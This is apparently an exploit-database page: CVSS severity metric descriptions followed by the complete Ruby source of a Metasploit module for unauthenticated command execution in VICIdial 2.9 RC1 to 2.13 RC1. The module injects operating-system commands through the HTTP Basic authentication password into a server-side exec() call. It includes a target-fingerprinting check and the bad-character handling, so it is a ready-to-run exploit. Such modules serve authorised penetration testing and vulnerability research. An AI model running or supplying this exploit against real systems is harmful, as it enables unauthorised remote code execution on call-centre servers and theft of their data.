The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
VICIdial 2.9 RC 1 to 2.13 RC1 - user_authorization Unauthenticated Command Execution (Metasploit)##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'VICIdial user_authorization Unauthenticated Command Execution',
'Description' => %q{
This module exploits a vulnerability in VICIdial versions
2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
to execute arbitrary operating system commands as the web
server user if password encryption is enabled (disabled
by default).
When password encryption is enabled the user's password
supplied using HTTP basic authentication is used in a call
to exec().
This module has been tested successfully on version 2.11 RC2
and 2.13 RC1 on CentOS.
},
'License' => MSF_LICENSE,
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'References' =>
[
['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
# HTTP Basic authentication password
'Space' => 2048,
# apostrophe ('), quote ("), semi-colon (;) and backslash (\)
# are removed by preg_replace
'BadChars' => "\x00\x0A\x22\x27\x3B\x5C",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python netcat'
}
},
'Targets' => [[ 'Automatic Targeting', {} ]],
'Privileged' => false,
'DisclosureDate' => 'May 26 2017',
'DefaultTarget' => 0))
register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
deregister_options('USERNAME', 'PASSWORD')
end
def check
user = rand_text_alpha(rand(10) + 5)
pass = "#{rand_text_alpha(rand(10) + 5)}&#"
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
'authorization' => basic_auth(user, pass)
unless res
vprint_status 'Connection failed'
return CheckCode::Unknown
end
if res.code != 401
vprint_status "#{peer} Unexpected reply. Expected authentication failure."
return CheckCode::Safe
end
# Check for input filtering of '#' and '&' characters in password
# Response for invalid credentials is in the form of: |<username>|<password>|BAD|
if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
vprint_status "#{peer} Target is patched."
return CheckCode::Safe
end
# Check for ../agc/bp.pl password encryption script
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
vprint_status "#{peer} Password encryption is supported, but may not be enabled."
return CheckCode::Appears
end
vprint_status "#{peer} Could not verify whether password encryption is supported."
CheckCode::Detected
end
def execute_command(cmd, opts = {})
user = rand_text_alpha(rand(10) + 5)
pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"
print_status "#{peer} Sending payload (#{cmd.length} bytes)"
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
'authorization' => basic_auth(user, pass)
if !res
fail_with(Failure::Unreachable, 'Connection failed')
elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
print_good "#{peer} Payload sent successfully"
else
fail_with(Failure::UnexpectedReply, 'Unexpected reply')
end
end
def exploit
execute_command(payload.encoded)
end
end
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